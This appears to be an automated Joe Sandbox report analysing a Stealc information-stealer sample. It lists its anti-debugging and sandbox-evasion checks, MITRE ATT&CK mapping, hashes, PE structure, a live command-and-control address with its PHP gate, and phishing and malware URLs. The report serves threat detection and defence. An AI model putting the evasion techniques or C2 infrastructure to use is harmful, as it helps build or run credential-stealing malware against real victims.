Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E538B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00E538B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E54910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00E54910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E4DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00E4DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E4E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00E4E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E54570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00E54570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E4ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00E4ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E416D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00E416D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E53EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00E53EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E4F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00E4F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E4F68A FindFirstFileA,	0_2_00E4F68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E4BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00E4BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E4DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00E4DE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E41160 GetSystemInfo,ExitProcess,

0_2_00E41160

Source: file.exe, file.exe, 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2208867559.0000000001D13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWw
Source: file.exe, 00000000.00000002.2208867559.0000000001CE2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2208867559.0000000001D13000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2208867559.0000000001C9E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13391
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13405
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13394
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13413
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13445

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01248B89 rdtsc

0_2_01248B89

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E445C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00E445C0

Source: C:\Users\user\Desktop\file.exe

0_2_00E59860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E59750 mov eax, dword ptr fs:[00000030h]

0_2_00E59750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E578E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00E578E0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6584, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E59600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00E59600

Source: file.exe, file.exe, 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00E57B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E57980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00E57980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E57850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00E57850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00E57A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00E57A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.e40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2208867559.0000000001C9E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2167723747.0000000005830000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6584, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.e40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2208867559.0000000001C9E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2167723747.0000000005830000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6584, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	651 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	4 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false		unknown
windowsupdatebg.s.llnwi.net	87.248.204.0	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/e2b1563c6670f193.phpK	file.exe, 00000000.00000002.2208867559.0000000001CF6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/U	file.exe, 00000000.00000002.2208867559.0000000001CF6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.2208867559.0000000001C9E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpo	file.exe, 00000000.00000002.2208867559.0000000001CF6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpU	file.exe, 00000000.00000002.2208867559.0000000001CE2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/ws	file.exe, 00000000.00000002.2208867559.0000000001CF6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpz	file.exe, 00000000.00000002.2208867559.0000000001CF6000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1529339
Start date and time:	2024-10-08 21:41:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	2
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 20 Number of non-executed functions: 89
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Excluded IPs from analysis (whitelisted): 20.190.159.23, 20.190.159.75, 40.126.31.67, 20.190.159.0, 20.190.159.64, 40.126.31.73, 20.190.159.68, 40.126.31.71
Excluded domains from analysis (whitelisted): client.wns.windows.com, prdv4a.aadg.msidentity.com, ocsp.digicert.com, otelrules.azureedge.net, login.live.com, ctldl.windowsupdate.com.delivery.microsoft.com, www.tm.v4.a.prd.aadg.akadns.net, ocsp.edge.digicert.com, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, login.msa.msidentity.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fp2e7a.wpc.phicdn.net	SecuriteInfo.com.Trojan.DownLoader47.43477.29852.19410.exe	Get hash	malicious	LummaC, Vidar	Browse	192.229.221.95
	https://www.baidu.com/link?url=7AgUGxkCgEsQdPm9T1PXcA0XghaPOWMLvdhGyyVngg844uS4x-KZy4IMqs1ov0OgdFqhAB-_X2oOV9exK4hWC_&wd=ZWxraW58WTI5eVpUUmpaUzVqYjIwPXxNYkdVSlpkdVROdWNyeW1UWU1laElVVW1QbGRGb0F5RmNLcWJadW1CT01YYw==	Get hash	malicious	HTMLPhisher	Browse	192.229.221.95
	https://dc.dolshgdh.site/?Ufrj=g5	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://1drv.ms/w/c/3e7c84f1a590a3e6/IQStDJr3bMEwQZDK5oU6uNI1AXa25ZxVanY0bWjgRrRk-d4	Get hash	malicious	Unknown	Browse	192.229.221.95
	15PylGQjzK.exe	Get hash	malicious	LummaC, Vidar	Browse	192.229.221.95
	https://www.google.com.bo/url?url=https://coqjcqixwpeuzndc&hpj=jguragr&fwbtzg=qoe&ffzzf=olnshn&aes=fvotjnl&garqe=txbrxc&emrj=ycbtmrgd&uwzlcgsurn=eygnbnharg&q=amp/jhjn24u.v%C2%ADvg%C2%ADzy%C2%ADnp%C2%ADe%C2%ADw%C2%ADl%C2%ADkkukl.com%E2%80%8B/4b3puorbt&vijx=zlglfoj&qcobrch=pupf&cjaim=omgedz&guneqiu=xqm&d=DwMFAg	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://dvj-305jg-9h.car-financeclaim.co.uk/4-604-9vh-9h35g-h3.html#info@tintolaw.co.za	Get hash	malicious	HTMLPhisher	Browse	192.229.221.95
	http://lifecodigestion.com	Get hash	malicious	Unknown	Browse	192.229.221.95
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	192.229.221.95
	https://simpleinvoices.io/invoices/gvexd57Lej7	Get hash	malicious	Unknown	Browse	192.229.221.95
windowsupdatebg.s.llnwi.net	https://simpleinvoices.io/invoices/gvexd57Lej7	Get hash	malicious	Unknown	Browse	41.63.96.0
	Oilmax Systems Updated.xls	Get hash	malicious	Unknown	Browse	87.248.205.0
	http://pay.christinagstewart.com/	Get hash	malicious	Unknown	Browse	87.248.205.0
	http://xdr.euw31usea1-carbonhelixbytedandomaincontrolpanele-for-github.sentinelone.net/	Get hash	malicious	Unknown	Browse	87.248.204.0
	Bn7LPdQA1s.exe	Get hash	malicious	LummaC, Vidar	Browse	178.79.208.1
	https://communications-chamber-confidentiality-limitation.trycloudflare.com/spec/#bWNhcnR3cmlnaHRAY2hlbXVuZ2NhbmFsLmNvbQ==	Get hash	malicious	Unknown	Browse	87.248.204.0
	https://dsdhie.org/dsjhem	Get hash	malicious	Unknown	Browse	87.248.205.0
	8ID0109FLT24PO92CD-R.pdf	Get hash	malicious	HTMLPhisher	Browse	87.248.205.0
	https://fenster-mark-gmbhsharefile.btn-ebikes.com/	Get hash	malicious	Unknown	Browse	87.248.205.0
	http://46.27.141.62	Get hash	malicious	Unknown	Browse	87.248.205.0

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949006571183067
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'853'440 bytes
MD5:	02978bae9becb20a4ba6f439f8eb552f
SHA1:	728da10f79bc011ea19ca78aa8aae0b9946f9f4b
SHA256:	669036c06a6fd0494eb7db1eac48d0a477a47d7fff54dcc29fdbf7876ef39900
SHA512:	5f507e3e5c0741199acf4fb28626e643ba671ff7b36093ede4eada9869c53c1f8d80682d06e8a34fe8550b9ddc657111f73ffad1b5f0cf3ef00bc83a6c91c6f7
SSDEEP:	49152:m4wsF5Eod/ll4PfCcvJevtnOLfjfbBCSsU:9wsF5Eox0Ol0/BCSl
TLSH:	578533245F32F01EC0A82BB5C61B927339757FA478B44EBA198E07457ADCC1C58DFA68
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa4000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F39A53AA93Ah

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	a06c30b68028b5920eca54c7d2fe980c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a6000	0x200	f60c423fb70ed43a20ea348cb4a35d51	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
gklmxpts	0x504000	0x19f000	0x19e600	28dc9add79b3b4ddb9df28abc7797287	False	0.9951693297511313	data	7.955274531054208	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
csoyoskk	0x6a3000	0x1000	0x400	d3f7d98a4051476a2fb8da90897f30b5	False	0.8076171875	data	6.217901750673708	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a4000	0x3000	0x2200	9db8f1ecdb6b177dbca642407afeeab1	False	0.06502757352941177	DOS executable (COM)	0.6394435046751349	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-08T21:42:18.802712+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49727	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 21:42:17.547411919 CEST	49727	80	192.168.2.5	185.215.113.37
Oct 8, 2024 21:42:17.553010941 CEST	80	49727	185.215.113.37	192.168.2.5
Oct 8, 2024 21:42:17.553353071 CEST	49727	80	192.168.2.5	185.215.113.37
Oct 8, 2024 21:42:17.553353071 CEST	49727	80	192.168.2.5	185.215.113.37
Oct 8, 2024 21:42:17.558753967 CEST	80	49727	185.215.113.37	192.168.2.5
Oct 8, 2024 21:42:18.558069944 CEST	80	49727	185.215.113.37	192.168.2.5
Oct 8, 2024 21:42:18.558212996 CEST	49727	80	192.168.2.5	185.215.113.37
Oct 8, 2024 21:42:18.563785076 CEST	49727	80	192.168.2.5	185.215.113.37
Oct 8, 2024 21:42:18.569120884 CEST	80	49727	185.215.113.37	192.168.2.5
Oct 8, 2024 21:42:18.802558899 CEST	80	49727	185.215.113.37	192.168.2.5
Oct 8, 2024 21:42:18.802711964 CEST	49727	80	192.168.2.5	185.215.113.37
Oct 8, 2024 21:42:21.161889076 CEST	49727	80	192.168.2.5	185.215.113.37

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 8, 2024 21:42:09.364187002 CEST	1.1.1.1	192.168.2.5	0x3137	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 21:42:09.364187002 CEST	1.1.1.1	192.168.2.5	0x3137	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 8, 2024 21:42:10.916261911 CEST	1.1.1.1	192.168.2.5	0x903f	No error (0)	windowsupdatebg.s.llnwi.net		87.248.204.0	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49727	185.215.113.37	80	6584	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 21:42:17.553353071 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 21:42:18.558069944 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 19:42:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
